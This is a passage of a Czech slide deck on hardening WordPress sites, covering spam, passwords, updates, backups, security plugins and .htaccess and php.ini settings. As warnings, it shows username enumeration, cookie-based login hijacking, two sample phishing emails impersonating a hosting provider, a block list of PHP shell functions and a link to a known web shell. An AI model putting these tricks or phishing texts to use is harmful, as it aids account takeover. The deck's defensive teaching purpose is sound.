  • 16. Chyby v jádře Již je toho hodně vyladěno, ale určitě mnoho zbývá  Kritické se neobjevují tak často, většinou se jedná o unik informací nebo DOS. Po odhalení je oprava často rychle dostupná a díku auto-update i nasazená. Chyba v XML-RPC (týkala se i Drupalu) – speciální XML soubor dokázal vygenerovat několika GB požadavek – došlo k vyčerpání prostředků. V základu není limitován počet chybných přihlášení (lze řešit pluginem) Lze jednoduše získat uživatelské jméno: http://www.justit.cz/wordpress/?author=2 => http://www.justit.cz/wordpress/author/ddoc/ RewriteRule ^author/(.*)$ http://jdi-nekam.com/ [R,L] http://lynt.cz Chyby, které jsou vlastnostmi: 22. 9. 2014 16
  • 17. Spam Nejjednodušší cesta – přidat komentář, když je to možné. Když to není možné, přesvědčit se, zda to opravdu není možné: /?p=1 => možná admin nesmazal první Hello World příspěvek, který má povoleny komentáře (globální vypnutí komentářů se vztahuje pouze na nové příspěvky) Můžeme uzavřít komentáře po X dnech stáří článku. function lynt_disable_comments_on_pages( $file ) { return is_page() ? __FILE__ : $file; } add_filter( 'comments_template', 'lynt_disable_comments_on_pages'); http://lynt.cz Vypnutí komentářů na stránkách: 22. 9. 2014 17
  • 18. Spam – ale já komentáře chci Použití antispamového filtru: Akismet • předinstalovaný v základu, chce drobný poplatek • používá kontextové filtrování a reputaci IP adresy • někdy může dojít k zablokování regulérního příspěvku HoneyPot • nastraží políčko, které vyplní jen robot, • komentář rovnou odstraní • pokud se jedná o cílenější spamování, můžou spamy projít • Pluginy: NoSpamNX, Honeypot Comments Tyto řešení se nevztahují na pingbacky, pokud je nechci, tak je dobré je vypnout. http://lynt.cz Captcha • nemám ji rád  22. 9. 2014 18
  • 19. Bezpečnostní problém? Můžeme si za to sami!!! http://lynt.cz 22. 9. 2014 19
  • 20. Člověk je nejslabší článek Dáváme slabá hesla a používáme uživatelské jméno admin. Hesla si nešifrovaně ukládáme a používáme je na více webech. Doporučuji: nainstalovat WP klidně s uživatelem admin, nainstalovat si vše potřebné, založit nového uživatele s právy admina, a starého smazat. Používat správce hesel např. KeePass a využívat jeho generátor hesel. Přihlašovací heslo není složité odchytnout. Není vhodné se přihlašovat z neznámých sítí (wifi i kabelových), pokud nemám SSL v administraci. Proč vlastně nezapnout SSL pro celý web? http://lynt.cz define('FORCE_SSL_ADMIN', true); define('FORCE_SSL_LOGIN', true); 22. 9. 2014 20
  • 21. Člověk je nejslabší článek http://lynt.cz 22. 9. 2014 21
  • 22. Člověk je nejslabší článek http://lynt.cz 22. 9. 2014 22
  • 23. Člověk je nejslabší článek S tímto cookie se mohu přihlásit i bez znalosti hesla cookie wordpress_logged_in_...se posílá stále, nejen při přístupu do adminu http://lynt.cz 22. 9. 2014 23
  • 24. Člověk je nejslabší článek Předmět: Bezpečnostní problém WEDOS Hosting [8614001612] Datum: Wed, 20 Sep 2014 14:32:48 +0200 Od: WEDOS <hosting@wedos.com> Komu: <ty> Na Vaší webové prezentaci tvujweb.cz založené na redakčním systému Wordpress byla zjištěna závažná bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi získat plnou kontrolu nad Vaším webem a následně útočit na další weby. Oficiální oprava zatím není k dispozici. Naši specialisté však mohou chybu opravit ručně. K tomu potřebujeme Vaše přihlašovací údaje do administrace Wordpress. Zašlete nám je prosím obratem, ať můžeme zabránit dalším útokům. V opačném případě budeme bohužel nuceni Vaši webovou prezentaci pozastavit. http://lynt.cz Vážený zákazníku, WEDOS Internet, a.s. 22. 9. 2014 24
  • 25. Člověk je nejslabší článek Předmět: Bezpečnostní problém WEDOS Hosting [8614001612] Datum: Wed, 20 Sep 2014 14:32:48 +0200 Od: WEDOS <hosting@wedos.com> Komu: <ty> Na Vaší webové prezentaci tvujweb.cz založené na redakčním systému Wordpress byl zjištěna škodlivý kód, který masivně útočí na další weby a infikuje návštěvníky. Neprodleně nainstalujte náš antivirový plugin Wedos-WP-Antivir, který naleznete v příloze i s návodem k instalaci. V opačném případě budeme bohužel nuceni Vaši webovou prezentaci pozastavit. http://lynt.cz Vážený zákazníku, WEDOS Internet, a.s. 22. 9. 2014 25
  • 26. Člověk je nejslabší článek Jste si jistí, že se obezřetně chovají i ostatní uživatelé, kteří mají přístup k webu? I získání neadministrátorského účtu může mít velké důsledky – upload souborů, vkládání obsahu. Uživatelské role Administrator a Editor mohou standardně vkládat do komentářů JavaScript. http://lynt.cz Jste si jistí, že se chováte obezřetně? 22. 9. 2014 26
  • 27. Co mi mohou udělat okolní weby? Pokud není hosting správně nakonfigurován, může napadený web přistupovat k souborům i na ostatních webech. Nejčastější metody oddělení webů: Ze stejné IP adresy je rozesílán spam, stahován malware – dostane se na blacklisty http://lynt.cz Přímé ohrožení: • Vlastní uživatelé • Open_basedir • Různé typy chroot Nepřímé ohrožení: 22. 9. 2014 27
  • 28. Co s tím vším mám dělat? http://lynt.cz 22. 9. 2014 28
  • 29. Aktualizujte Problém č. 1 – jak se dozvědět o aktualizaci? • WP Updates Notifier – při dostupném updatu zašle email • Více webů lze udržovat hromadně pomocí InfiniteWP • Sledovat informace o aktuálních hrozbách (zdroje na konci prezentace) Problém č. 2 – nerozbije se to? Pravděpodobně někdy ano, ale lepší než bezpečnostní rizika Jádro s ve WP 3.8+ aktualizuje samo define( 'WP_AUTO_UPDATE_CORE', true ); - povolí i majoritní updaty Automatická aktualizace pluginů a šablon zapnout: add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); Pozor na vlastní úpravy. V případě šablon je vhodné si udělat odvozenou šablonu. S použitím menšího množství pluginů klesnou nároky na správu i bezpečnostní rizika. http://lynt.cz 22. 9. 2014 29
  • 30. Zálohujte Po případném napadení bude možné se vrátit k neinfikované verzi. Pozor, kam se záloha ukládá. Řešení hostingu/ruční záloha DB a souborů Zálohovací plugin: např. BackWPup, BackupBuddy Součást některých dalších pluginů a nástrojů (InfiniteWP) „Zálohování je alfou a omegou práce na počítači.“ http://lynt.cz Photo by Sean MacEnte, CC BY 2.0 22. 9. 2014 30
  • 31. Používejte bezpečnostní plugin Komplexnější řešení, které opraví některé zneužitelné díry, omezí brutal force útoky na administraci, najdou podezřelý kód. Vyberte si svého favorita: • Wordfence • iThemes Security • All in One WP security http://lynt.cz 22. 9. 2014 31
  • 32. Wordfence http://lynt.cz Realtime scanner • Pokouší se zjistit, zda je návštěvník bot nebo člověk a umí dle toho nastavovat politiky • Blokuje přístupy do administrace • Scanuje soubory na podezřelý kód • Umí cachování pro dorovnání výkonnostní ztráty • Notifikuje při změnách souborů • Prémiové funkce (39$/rok): přihlašování pomocí SMS, vzdálené scany, antispam v komentářích 22. 9. 2014 32
  • 33. iThemes Security http://lynt.cz Průvodce bezpečností • Blokuje přístupy do administrace • Blokuje IP adresy (má i distribuovaný seznam) • Zálohuje databázi • Hledá malware v souborech • Detekuje zvýšené množství 404 • Monitoruje změny v souborech • Přesměruje přihlašování • Správně nastaví práva k souborům a složkám • Umí změnit prefix databáze • Další nástroje od vydavatele (Sync, BackupBuddy,…) 22. 9. 2014 33
  • 34. All in One WP Security Vše, co potřebujete na pár kliků • Podobné funkce jako iThemes Security • Někde podrobnější nastavení • + umožňuje „zakázat“ kopírování obsahu • + zákaz používání obrázků na jiných webech • + captcha do komentářů a login page (sem umí dát i honeypot) iThemes více radí, co máte udělat. http://lynt.cz 22. 9. 2014 34
  • 35. Co mohu udělat sám • Změnit prefix DB při instalaci • Zákaz PHP v /wp-content/uploads/ - .htaccess • Zakázání XML-RPC - .htaccess (příp. add_filter('xmlrpc_enabled', '__return_false');) • Přidat další ochranu k wp-login (http auth, 2 fázová autentifikace) - .htaccess • Hlídat referer (přihlašování, komentáře) - .htaccess • Zkontrolovat práva složek a souborů • Zamaskovat verzi WP a ServerSignature - .htaccess, wp-config.php • disable_functions (exec, passthru,shell_exec, system, proc_open, popen, eval – zde může něco přestat fungovat – jetpack, zip,…) – php.ini • allow_url_fopen, allow_url_include – php.ini/ .htaccess • Posunout wp-config.php o úroveň výše – otázka, jaký to má smysl (doporučení vzniklo chybou v systému Plesk, který deaktivoval PHP a zdrojové kódy tak byly přímo dostupné), lepší je dát wp-config do paralelní složky a includovat ho http://lynt.cz 22. 9. 2014 35
  • 36. .htaccess http://lynt.cz Globální .htaccess ServerSignature off #zakazani xml-rpc RedirectMatch 403 /(.*)/xmlrpc.php$ #kontrola refereru RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} .(wp-comments-post|wp-login).php* RewriteCond %{HTTP_REFERER} !.*example.com.* [OR] RewriteCond %{HTTP_USER_AGENT} ^$ RewriteRule ^(.*)$ - [F,L] #zákaz přístupu k některým souborům <FilesMatch "license.txt|wp-config-sample.php|readme.html|.htaccess|wp-config.php"> Order allow,deny Deny from all </FilesMatch> .htaccess ve složce /wp-content/uploads/ php_flag engine off Jiná možnost: <FilesMatch .php$> Order allow,deny Deny from all </FilesMatch> Další tipy (MySQL injection…): https://secure.rivalhost.com/knowledgebase/1037/htaccess-against-MySQL-injections- and-other-hacks.html 22. 9. 2014 36
  • 37. Práva složek a souborů root directory 755 wp-includes/ 755 .htaccess 644 wp-admin/index.php 644 wp-admin/js/ 755 wp-content/themes/ 755 wp-content/plugins/ 755 wp-admin/ 755 wp-content/ 755 wp-config.php 644 http://lynt.cz z All in One WP Security 22. 9. 2014 37
  • 38. Problematika DOS a DDOS • Částečně lze řešit pomocí cachovacího pluginu (WP-SuperCache) – některé útoky postupně např. vyčerpají počet povolených php procesů • Analýza botů ve Wordfence • Další řešení je použít službu typu CloudFlare/Incapsula (WAF – web application firewall) • Masivní útok může ucpat linku = záleží pak na technologiích poskytovatele http://lynt.cz 22. 9. 2014 38
  • 39. Zdroje dalších informací • http://www.kyberbezpecnost.cz/ • http://packetstormsecurity.com/search/?q=wordpress – vhodné do http://lynt.cz RSS • http://blog.sucuri.net/ • https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress • http://codex.wordpress.org • https://github.com/b374k/b374k – nejčastěji uploadovaný nástroj útočníky • https://www.startssl.com – základní SSL certifikát zdarma • http://edu.lynt.cz/ – náš výukový portál, časem zde mohou být zajímavé informace 22. 9. 2014 39
  • 40. A to je vše, přátelé. aktualizujte, zálohujte, používejte bezpečnostní plugin, buďte opatrní http://lynt.cz 22. 9. 2014 40

Editor's Notes

  • #4: Kdo ma vps/hosting, kdo ma bezpecnosnti plugin, kdo resil incident
  • #36: Zakázat editor pluginů a šablon